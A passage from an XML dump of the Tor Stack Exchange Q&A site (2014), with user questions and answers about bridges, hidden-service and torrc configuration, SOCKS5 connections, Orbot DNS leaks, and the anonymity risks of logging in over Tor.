&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="100" LastActivityDate="2014-07-17T03:01:31.920" Title="Are there known vulnerabilities in JonDo's custom Tor client?" Tags="|vulnerability|jondonym|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3585" PostTypeId="2" ParentId="3511" CreationDate="2014-07-17T04:35:45.687" Score="4" Body="&lt;p&gt;This is rather a non issue, I think. People typically use bridges when their Internet uplink (ISP, university, employer, etc.) blocks access to known entry guards. This may be part of national policy, as with China, Iran, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Savvy adversaries monitor public lists of bridge IPs, and so the Tor Project distributes them via email. This is not a perfect solution, because email traffic is not end-to-end encrypted. However, it's adequate as long as (1) the adversary can't compromise any of the intervening mail servers, and (2) users get messages via encrypted connections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Das Erste article concerns the NSA's ability to harvest information from email intercepts using XKeyScore. If the NSA has the requisite plaintext intercepts, it could find all of the bridge IPs and associated email addresses. The NSA is undoubtedly intercepting all traffic for nations like China, Iran, etc. And it undoubtedly does its best to get plaintext intercepts, whatever that entails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So yes, it's possible (or even likely) that the NSA and its friends will know who is getting Tor bridges via email, and what bridges they're using. Even so, the anonymity that Tor provides depends on the path through the relay network being untraceable and transient, with unpredictable changes. It doesn't depend on keeping Tor use secret. That is, knowing the email address of someone using Tor, and even knowing what bridge they're using, doesn't deanonymize them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, identifying a user's bridge or entry guard does help resourceful adversaries, but only if they can intercept its local traffic or worst case, compromise it. In that case, given enough fast exit relays, they may correlate entry and exit traffic, and so deanonymize the user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bottom line, if your key adversary is the NSA or one of its friends, don't get your bridges through the default email distribution system. Otherwise, it's not that big of a deal. If your goal is simply circumventing the GFW, for example, the risk that the NSA will discover your email address and Tor bridge IPs is a minor issue. If you're a Triad spy, on the other hand, take more care ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally, bridges would be available via end-to-end encryption. There is this ticket &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/12536&quot;&gt;&quot;BridgeDB e-mails should be encrypted when possible&quot;&lt;/a&gt;. But after some vaguely incoherent discussion of PGP vulnerabilities, it was closed as being too complicated for most users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do think that the Tor Project should have an email address for bridge requests, with a well-known public key. But that would require that the user know how to use GnuPG-encrypted email. Maybe there's middle ground, using ProtonMail or whatever.&lt;/p&gt;&#xA;" OwnerUserId="100" LastEditorUserId="100" LastEditDate="2014-07-18T06:44:47.930" LastActivityDate="2014-07-18T06:44:47.930" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="3586" PostTypeId="1" CreationDate="2014-07-17T07:48:08.797" Score="4" ViewCount="3013" Body="&lt;p&gt;I am trying to run two or more hidden services. My torrc seems to be fine, but I am having trouble with lighttpd.conf.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My configuration file contains.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$HTTP[&quot;host&quot;] == &quot;2uwvt4.onion&quot; {&#xA;  server.document-root  = &quot;/var/www&quot;&#xA;  server.port           = 8888&#xA;} else $HTTP[&quot;host&quot;] == &quot;6gkcdh.onion&quot; {&#xA;  server.document-root  = &quot;/var/www/2&quot;&#xA;  server.port           = 7777&#xA;} else $HTTP[&quot;host&quot;] =~ &quot;&quot; {&#xA;  server.port           = 110&#xA;  server.document-root  = &quot;/var/www/default&quot;&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get the error that it is already bound to port 80, the port 80 is only mentioned once in torrc.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceDir /var/lib/tor/hidden_service/&#xA;HiddenServicePort 80 127.0.0.1:8888&#xA;&#xA;HiddenServiceDir /var/lib/tor/hidden_service/2/&#xA;HiddenServicePort 90 127.0.0.1:7777&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3197" LastEditorUserId="100" LastEditDate="2014-07-23T03:23:44.157" LastActivityDate="2014-10-19T17:24:31.817" Title="How can I run multiple hidden services with lighttpd?" Tags="|onion-services|configuration|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3587" PostTypeId="1" CreationDate="2014-07-17T19:20:26.133" Score="1" ViewCount="160" Body="&lt;p&gt;My friend and I were talking about Tor in class, and I had my laptop out, running &lt;code&gt;Tor&lt;/code&gt; for it's SOCKS proxy to access censored websites. My teacher interjected that I should not use Tor at school because it routes other's traffic through clients so, by me using Tor, I am also routing the traffic of other Tor users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not sure whether or not this is legitimate, and if I should be worried about it.&lt;/p&gt;&#xA;" OwnerUserId="3202" LastEditorUserId="923" LastEditDate="2014-07-18T00:06:09.407" LastActivityDate="2014-08-17T02:24:06.137" Title="Does Tor route traffic through clients?" Tags="|relays|mac|client|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3588" PostTypeId="2" ParentId="3587" CreationDate="2014-07-18T00:19:27.610" Score="1" Body="&lt;p&gt;Tor unlike some other anonymizers does not route the other's traffic through clients at this time, and there is no plan to do so as far as I know in future. You should not worry about this. Anybody, if she desire may run a relay. Relays route the traffic of all clients. Running a relay is voluntery and client are not obligated to run a relay.&lt;/p&gt;&#xA;" OwnerUserId="923" LastEditorUserId="923" LastEditDate="2014-07-18T01:31:32.107" LastActivityDate="2014-07-18T01:31:32.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3589" PostTypeId="1" CreationDate="2014-07-18T09:20:59.153" Score="4" ViewCount="303" Body="&lt;p&gt;When I'm using ARM for Tor, and close it (via menu -&gt; exit or q) it seems to leave the connection open.&#xA;It seems so, because when I reopen it, I see the following line in the log: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;11:14:30 [NOTICE] New control connection opened. [3 duplicates hidden]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;They disappear when I reload Tor but this seems kinda wrong.&#xA;Is there a way to configure ARM to close the connection on quitting or make Tor auto-close connection after some time?&lt;/p&gt;&#xA;" OwnerUserId="3203" LastEditorUserId="923" LastEditDate="2014-07-18T11:34:27.160" LastActivityDate="2015-07-30T22:52:51.300" Title="Tor close control connections" Tags="|ubuntu|nyx|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3590" PostTypeId="2" ParentId="3231" CreationDate="2014-07-18T14:20:37.650" Score="4" Body="&lt;p&gt;The reasons for trusting (or not trusting) Orchid are the same as with Tor proper: Orchid is open source, so you (or anybody else) can audit/examine/analyze the source code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One concern I would have with Orchid at the moment is that it doesn't seem to be a very active project. There are a bunch of bug reports/pull requests on the github site which haven't received responses, and there generally doesn't seem to be much development activity. It also has far fewer users than the main Tor implementation.&lt;/p&gt;&#xA;" OwnerUserId="3205" LastEditorUserId="923" LastEditDate="2014-07-18T15:16:56.047" LastActivityDate="2014-07-18T15:16:56.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3591" PostTypeId="1" CreationDate="2014-07-18T16:31:32.433" Score="1" ViewCount="1701" Body="&lt;p&gt;I'm supporting android proxy &lt;strong&gt;Drony&lt;/strong&gt; that has ability to also use VPN mode &#xA;so it can intercept all flow and redirect to proxy that is set in settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Recently was added also support for local SOCKS proxies. This includes also Orbot. For now only TCP flow goes to Orbot SOCKS proxy on port 9050. &#xA;Reading about Tor I find out that problem is also DNS UDP called as DNS leakage. &#xA;So there will be additional change, when Orbot is involved, to redirect UDP DNS requests, &#xA;or maybe just all UDP to Orbot?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question is, there should be also any other additional action performed &#xA;that will add protection for user on Android device? &#xA;Not meaning changing http requests (removing headers or similar actions), more changes on TCP, UDP packets headers before they hit Orbot proxies.&lt;/p&gt;&#xA;" OwnerUserId="3207" LastEditorUserId="3207" LastEditDate="2014-07-18T19:57:48.657" LastActivityDate="2015-02-08T09:35:03.617" Title="Android Orbot on non rooted android device with Drony" Tags="|socks|orbot|dns|proxy-leaks|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3592" PostTypeId="1" CreationDate="2014-07-19T00:04:58.410" Score="3" ViewCount="61" Body="&lt;p&gt;Looking for help understanding the following line from the rend-spec:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; 754    To open TCP connections to Bob's location-hidden service, Alice's OP sends&#xA; 755    a RELAY_COMMAND_BEGIN cell along the established circuit, using the special&#xA; 756    address &quot;&quot;, and a chosen port. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;what is the special address and the port ? Is &quot;&quot; actually the special address, and I asume the port is the Hsdir port for bob or the rp ?&lt;/p&gt;&#xA;" OwnerUserId="3075" LastEditorUserId="923" LastEditDate="2014-07-19T13:24:05.707" LastActivityDate="2014-08-05T03:40:52.250" Title="Creating streams to a hidden service" Tags="|onion-services|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3593" PostTypeId="2" ParentId="1430" CreationDate="2014-07-19T07:39:01.560" Score="0" Body="&lt;p&gt;Originally, bridges and Pluggable Transport bridges came about because some countries (mainly china) blocked Tor use, and as they escalated the blocking criteria, first the concept of bridges and later Pluggable Transport bridges came about and implemented to circumvent the blocking. Later some companies, organizations, educational institutions, and even universities have started to do the blocking and people behined those blocking walls started to use bridges and Pluggable Transport bridges depending on the level of blocking imposed on them. All this was perceived OK until Edward Snowden has revealed the extent of spying done by global adversaries and state actors, primarily the five eyes (US, UK, Canada, Australia, and New Zealand). This time the snooping were extended to any individual, organization, company, government, and living sole that existed on earth and beyond. Any living sole who may communicate by any communication device, being a landline phone, cellphone, satellite phone, internet, intranet, TV, cable, and word of mouth became legitimate target of snooping by five eyes. In this new Matrix like environment created by five eyes, its is prudent to be cautious. I beleive a rethink is necessary regarding bridges and Pluggable Transport bridges utilization in Tor environment. The thinking heads should collaborate to alleviate this present and imminent danger.&lt;/p&gt;&#xA;" OwnerUserId="923" LastEditorUserId="923" LastEditDate="2014-07-21T07:36:35.807" LastActivityDate="2014-07-21T07:36:35.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3594" PostTypeId="1" CreationDate="2014-07-19T07:58:12.463" Score="2" ViewCount="72" Body="&lt;p&gt;I'm not sure if this is in the right place but it does have to do with exploits and ultimately de-anonymizing Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are USB internet modems dangerous to use, with and without a router (DD-WRT)? I'm not sure if they're considered uPnP but I've read several articles on the danger of USB modems as they can bypass secure systems. Most new routers now have USB ports to plug in USB modems. Anybody have an idea of the dangers? &lt;/p&gt;&#xA;" OwnerUserId="3181" LastEditorUserId="923" LastEditDate="2014-07-19T08:05:42.607" LastActivityDate="2015-03-18T18:00:43.443" Title="Does USB modems create a danger when used on routers?" Tags="|deanonymization|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3595" PostTypeId="1" CreationDate="2014-07-19T19:09:15.380" Score="1" ViewCount="210" Body="&lt;p&gt;Can one run hidden services from bootable external HDD? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to install ubuntu, nginx, php, TBB on external HDD and boot the HDD when starting... seems like this should work just fine. Have anyone else tried this configuration?&lt;/p&gt;&#xA;" OwnerUserId="3213" LastEditorUserId="923" LastEditDate="2014-07-20T00:51:19.237" LastActivityDate="2014-07-30T07:02:33.927" Title="Hidden services on bootable external HDD" Tags="|tor-browser-bundle|onion-services|ubuntu|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3596" PostTypeId="1" CreationDate="2014-07-20T09:40:31.213" Score="2" ViewCount="804" Body="&lt;p&gt;Recently I've been reading lots of comments stating it's not safe to use your own Tor Relay as a proxy into the Tor Network, but typically none of these conversations have any evidence to substantiate their claims.  I'd be willing to write it off as FUD, but for something as important as Tor I wanted to make sure I wasn't doing something unnecessarily stupid!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, my setup is really simple;  I have a &lt;a href=&quot;http://www.raspberrypi.org/&quot; rel=&quot;nofollow&quot;&gt;Raspberry Pi&lt;/a&gt; which is running the Tor Relay and has been doing for the past three or four months without any significant problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After some reading, I set the following options in my &lt;code&gt;torrc&lt;/code&gt; file which I believe restrict access to the proxy only machines on my local network.  Is that right?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;## Entry policies to allow/deny SOCKS requests based on IP address.&#xA;## First entry that matches wins. If no SocksPolicy is set, we accept&#xA;## all (and only) requests that reach a SocksPort. Untrusted users who&#xA;## can access your SocksPort may be able to learn about the connections&#xA;## you make.&#xA;SocksListenAddress 192.168.0.34&#xA;SocksPolicy accept 192.168.0.0/16&#xA;SocksPolicy reject *&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So for every device or application on my LAN that needs access to the Tor Network, I just point them all to the SOCKS5 Proxy running on the Raspberry Pi. The Raspberry Pi's IP address is 192.168.0.34, so I point every device to: 192.168.0.34:9050.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, are there any major security implications that could lower my anonymity using my setup?&lt;/p&gt;&#xA;" OwnerUserId="1045" LastEditorUserId="923" LastEditDate="2014-07-20T14:08:45.603" LastActivityDate="2016-01-11T07:57:51.460" Title="I'm running a Tor Relay on my Raspberry Pi, is it safe to use the Raspberry Pi as a proxy for all the machines on the LAN?" Tags="|configuration|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3598" PostTypeId="1" CreationDate="2014-07-20T19:19:40.137" Score="2" ViewCount="15764" Body="&lt;p&gt;I am running the Ubuntu version 14.04 LTS, 64-bit (Desktop)&#xA;and now the (Tor Browser Bundle) Ver.3.6.2 refuses to run the &#xA;shell-script or launch the start-tor-browser? &lt;/p&gt;&#xA;" OwnerUserId="3220" LastEditorUserId="923" LastEditDate="2014-07-25T09:22:43.570" LastActivityDate="2018-01-30T02:45:34.560" Title="Tor Browser Bundle - Ubuntu 14.04 LTS - How To Launch [start-tor-browser]" Tags="|tor-browser-bundle|ubuntu|help|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3599" PostTypeId="1" AcceptedAnswerId="4302" CreationDate="2014-07-21T01:33:56.833" Score="3" ViewCount="532" Body="&lt;p&gt;Tor can't protect against traffic confirmation (also known as end-to-end correlation), where an attacker tries to confirm an hypothesis by monitoring the right locations in the network and then doing the math. The question is: Is it enough for the adversary to compromise any two of the three nodes to be able to de-anonymize the client? Specifically consider the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Guard (compromised) + Middle node (compromised) + Exit node (not compromised) = Result in Client de-anonymized&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Guard (compromised) + Middle node (not compromised) + Exit node (compromised) = Result in Client de-anonymized&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Guard (not compromised) + Middle node (compromised) + Exit node (compromised) = Result in Client de-anonymized&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do all three cases detailed above result in client de-anonymization?&lt;/p&gt;&#xA;" OwnerUserId="923" LastEditorUserId="923" LastEditDate="2014-07-21T01:58:23.503" LastActivityDate="2019-12-23T07:21:42.037" Title="Which one of the relay nodes need to get compromised for client de-anonymization?" Tags="|exit-relays|deanonymization|guard|middle|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3600" PostTypeId="1" CreationDate="2014-07-21T12:09:49.680" Score="1" ViewCount="27" Body="&lt;p&gt;After going through this post &#xA;&lt;a href=&quot;https://tor.stackexchange.com/questions/1430/do-utilization-of-bridges-and-or-pluggable-transports-bridges-hinder-anonymity&quot;&gt;Do utilization of bridges and/or Pluggable Transports bridges hinder anonymity?&lt;/a&gt; I ask is there any secure communication channel through which we can receive bridges as well as stay anonymous.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As asking for bridges through a normal mail is not viable I think there shall be a secure communication channel through which we can ask for bridges and provide anonymity to a certain extent.&lt;/p&gt;&#xA;" OwnerUserId="3071" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2014-07-21T14:19:04.760" Title="Do secure channels provide a good means for asking bridges in order to stay annonymous" Tags="|anonymity|security|email|bridge|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3601" PostTypeId="2" ParentId="3421" CreationDate="2014-07-21T15:04:53.630" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://tor.stackexchange.com/a/2131/743&quot;&gt;https://tor.stackexchange.com/a/2131/743&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is a description of what I did when I implemented (using c# instead of c++ though, but it should be the same)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is a copy paste of the text &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Tor is a socks5 proxy. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;a href=&quot;http://www.ietf.org/rfc/rfc1928.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;here is the socks5 rfc&lt;/a&gt; &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;a href=&quot;http://samsclass.info/122/proj/how-socks5-works.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;here is a guide to how socks5 works with&#xA;  tor&lt;/a&gt; read this,&#xA;  it is VERY useful&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;if using sockets (I assume c++ uses sockets) you will need to &lt;/p&gt;&#xA;  &#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;connect to tor (127.0.0.1:9050 by default) &lt;/li&gt;&#xA;  &lt;li&gt;Send authentication (5,1,0) see rfc part 3&lt;/li&gt;&#xA;  &lt;li&gt;Receive the tor response (5,0) see rfc part 3&lt;/li&gt;&#xA;  &lt;li&gt;Send Client's Connection request (5,1,0,3 + host length +  a binary representation of the host and port) see rfc part 4 &lt;/li&gt;&#xA;  &lt;li&gt;receive the tor response (5,0,0,1,0,0,0,0,0,0) see rfc part 6 (there can be a bunch of errors here, so watch out)&lt;/li&gt;&#xA;  &lt;li&gt;Send a binary representation of a http request to tor (Tor will forward this to the destination)&lt;/li&gt;&#xA;  &lt;li&gt;Receive the http response (will send the header first then the web page)&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;if you are having specific problems at any point tell me in the comments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the http request should contain&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;GET &quot; + urlPathAndQuery + &quot; HTTP/1.1\r\n&quot; +&#xA;&quot;Host: &quot; + urlHost + &quot;\r\n&quot; + &#xA;&quot;\r\n&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;put in any other lines you want for your request, like User-agent or Accept-language&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in c# the socket commands i used were &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;_socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);&#xA;_socket.connect&#xA;_socket.send&#xA;_socket.receive&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="743" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2014-07-21T15:24:50.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3602" PostTypeId="1" CreationDate="2014-07-21T15:09:28.977" Score="3" ViewCount="349" Body="&lt;p&gt;If I use a firewall (IPcop) to allow only HTTPS (443) traffic from the LAN/Tails box/Green NIC, and block all other protocols/traffic, is all traffic from the Exit Node guaranteed to be encrypted?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are all web requests in which the URL begins with https://, and with only HTTPS (443) traffic allowed by the F/W, guaranteed to be encrypted from the Exit Node?&lt;/p&gt;&#xA;" OwnerUserId="3223" LastEditorUserId="923" LastEditDate="2014-07-21T17:18:38.957" LastActivityDate="2014-10-20T19:32:11.423" Title="Tor/Tails Exit Node Connection Encryption" Tags="|anonymity|tails|encryption|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3603" PostTypeId="1" CreationDate="2014-07-21T20:01:46.937" Score="4" ViewCount="7469" Body="&lt;p&gt;If I browse with Tor, can I log in to my gmail, skydrive, etc. account?&#xA;Doesn'T google, microsoft etc know then its me?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't get that, thank you for explaining this to me.&lt;/p&gt;&#xA;" OwnerUserId="3224" LastEditorUserId="923" LastEditDate="2014-07-22T00:48:31.160" LastActivityDate="2020-04-22T10:51:44.163" Title="Can I log in if I browse with Tor? Is it safe?" Tags="|browsers|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3604" PostTypeId="2" ParentId="3603" CreationDate="2014-07-21T21:25:29.147" Score="2" Body="&lt;p&gt;If you log in to any of these account you lose your anonymity. If you log in to any account, you are telling them who you are. Tor can not protect your anonymity if you are advertising who you are to the world. You can log in, but you are no longer anonymous. If you log in, the only thing Tor can do for you is to hide where you are located at, but if you tell them even where you are located at somehow, then Tor can not do anything for you. Remember first you have to do something for yourself (for example not logging in)  before you can ask Tor to do something for you.&lt;/p&gt;&#xA;" OwnerUserId="923" LastEditorUserId="923" LastEditDate="2014-07-23T00:48:31.483" LastActivityDate="2014-07-23T00:48:31.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3606" PostTypeId="1" CreationDate="2014-07-22T00:49:41.977" Score="2" ViewCount="72" Body="&lt;p&gt;I want to run multiple instances of Tor browser with each having their own unique IP. How can I do this on windows server 2012?&lt;/p&gt;&#xA;" OwnerUserId="3227" LastEditorUserId="923" LastEditDate="2014-07-22T01:04:51.787" LastActivityDate="2014-07-22T01:04:51.787" Title="Run multiple Tor browsers" Tags="|tor-browser-bundle|windows|browsers|" AnswerCount="0" CommentCount="1" ClosedDate="2014-07-22T09:34:25.860" ContentLicense="CC BY-SA 3.0" />
  <row Id="3607" PostTypeId="2" ParentId="3603" CreationDate="2014-07-22T01:35:25.060" Score="1" Body="&lt;p&gt;What Roya said, indeed!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, you can create new accounts, using pseudonyms. But if you do, you must avoid creating associations to your true name. Just using the Tor browser is weak. Better is using Tails or Whonix, to reduce the risk of cross contamination through exploits. You can have as many pseudonyms as you like, but don't mix them in one Tails session. Each could have its own Whonix instance.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2014-07-22T01:35:25.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3608" PostTypeId="2" ParentId="2006" CreationDate="2014-07-22T04:03:24.367" Score="7" Body="&lt;p&gt;Install the first Tor browser as directed. Then change the folder name, perhaps adding &quot;a&quot; or &quot;1&quot; to the end. Now install the second Tor browser, and change its folder name, continuing whatever pattern you've chosen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open the second Tor browser, and browse &lt;code&gt;about:config&lt;/code&gt;. Search for &quot;torlauncher&quot;, and double-click the &lt;code&gt;extensions.torlauncher.start_tor&lt;/code&gt; (whichs value is set to  &lt;code&gt;true&lt;/code&gt;) to toggle it to &lt;code&gt;false&lt;/code&gt;. See &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/6009&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor ticket 6009&lt;/a&gt;. I got that reference from the Whonix documentation, by the way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now edit &lt;code&gt;..Browser\TorBrowser\Data\Tor\torrc-defaults&lt;/code&gt; in the first Tor browser folder, and add additional &lt;code&gt;SocksPort&lt;/code&gt; lines: for example, &lt;code&gt;SocksPort 9152&lt;/code&gt;, &lt;code&gt;SocksPort 9153&lt;/code&gt; etc. Save changes and exit the editor. Then start the first Tor browser. Its Tor instance will now handle your other Tor browsers. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now open the second Tor browser then TorButton Preferences. Select &quot;Use custom settings&quot; then change the SOCKS Port to 9152 and click OK. Browse &lt;a href=&quot;https://check.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://check.torproject.org/&lt;/a&gt; and verify that you're using Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now close both the first and second Tor browsers. Install the third Tor browser, and change its folder name, continuing whatever pattern you've chosen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Start the third Tor browser, and browse &lt;code&gt;about:config&lt;/code&gt;. Search for &quot;torlauncher&quot;, and double-click the &lt;code&gt;extensions.torlauncher.start_tor&lt;/code&gt; line to set it to &lt;code&gt;false&lt;/code&gt;. Then change its SOCKS Port to 9153, and close it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now start the first Tor browser, and then the third Tor browser. In the third Tor browser, browse &lt;a href=&quot;https://check.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://check.torproject.org/&lt;/a&gt; and verify that you're using Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Repeat the previous four paragraphs as desired.&lt;/p&gt;&#xA;" OwnerUserId="100" LastEditorUserId="88" LastEditDate="2017-04-22T20:13:58.363" LastActivityDate="2017-04-22T20:13:58.363" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3609" PostTypeId="2" ParentId="3595" CreationDate="2014-07-22T08:52:06.490" Score="1" Body="&lt;p&gt;As long as everything is configured correctly it should work just fine.&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2014-07-22T08:52:06.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3610" PostTypeId="2" ParentId="3602" CreationDate="2014-07-22T10:27:59.060" Score="0" Body="&lt;p&gt;This is usually not the case. I assume you are inside your local network and have set up IPcop to only allow traffic to port 443. Tor now builds a circuit and for the first link of this circuit a Tor relay is used which offers its services on port 443. Later Tor establishes the whole circuit. When you send traffic through Tor is inside a tunnel and your IPcop firewall has no influence anymore. This means you could send any traffic (encrypted as well as unencrypted) through Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could maybe tell your browser to drop all unencrypted traffic or (better) configure Privoxy in a way that it only accepts and forward requests to port 443.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2014-07-22T10:27:59.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3611" PostTypeId="1" CreationDate="2014-07-22T12:12:07.563" Score="4" ViewCount="6029" Body="&lt;p&gt;I'm looking for this option in &lt;code&gt;about:config&lt;/code&gt; for firefox, to access to onion domains.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've configured &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TransparentProxy#LocalRedirectionThroughTor&quot; rel=&quot;nofollow&quot;&gt;anonymous user&lt;/a&gt; on my Ubuntu:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;iptables -t nat -A OUTPUT ! -o lo -p tcp -m owner --uid-owner anonymous -m tcp -j REDIRECT --to-ports 9040&#xA;iptables -t nat -A OUTPUT ! -o lo -p udp -m owner --uid-owner anonymous -m udp --dport 53 -j REDIRECT --to-ports 53&#xA;iptables -t filter -A OUTPUT -p tcp -m owner --uid-owner anonymous -m tcp --dport 9040 -j ACCEPT&#xA;iptables -t filter -A OUTPUT -p udp -m owner --uid-owner anonymous -m udp --dport 53 -j ACCEPT&#xA;iptables -t filter -A OUTPUT ! -o lo -m owner --uid-owner anonymous -j DROP&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Tor well configured too. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dns works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ dig @127.0.0.1 google.com&#xA;&#xA;; &amp;lt;&amp;lt;&amp;gt;&amp;gt; DiG 9.9.5-3-Ubuntu &amp;lt;&amp;lt;&amp;gt;&amp;gt; @127.0.0.1 google.com&#xA;; (1 server found)&#xA;;; global options: +cmd&#xA;;; Got answer:&#xA;;; -&amp;gt;&amp;gt;HEADER&amp;lt;&amp;lt;- opcode: QUERY, status: NOERROR, id: 50585&#xA;;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0&#xA;&#xA;;; QUESTION SECTION:&#xA;;google.com.                    IN      A&#xA;&#xA;;; ANSWER SECTION:&#xA;google.com.             60      IN      A       74.125.224.67&#xA;&#xA;;; Query time: 293 msec&#xA;;; SERVER: 127.0.0.1#53(127.0.0.1)&#xA;;; WHEN: Tue Jul 22 19:07:47 NOVT 2014&#xA;;; MSG SIZE  rcvd: 44&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But firefox doesn't correctly looking for onion domains. It looks for www.hash.onion, etc. Thereafter &lt;code&gt;Server not 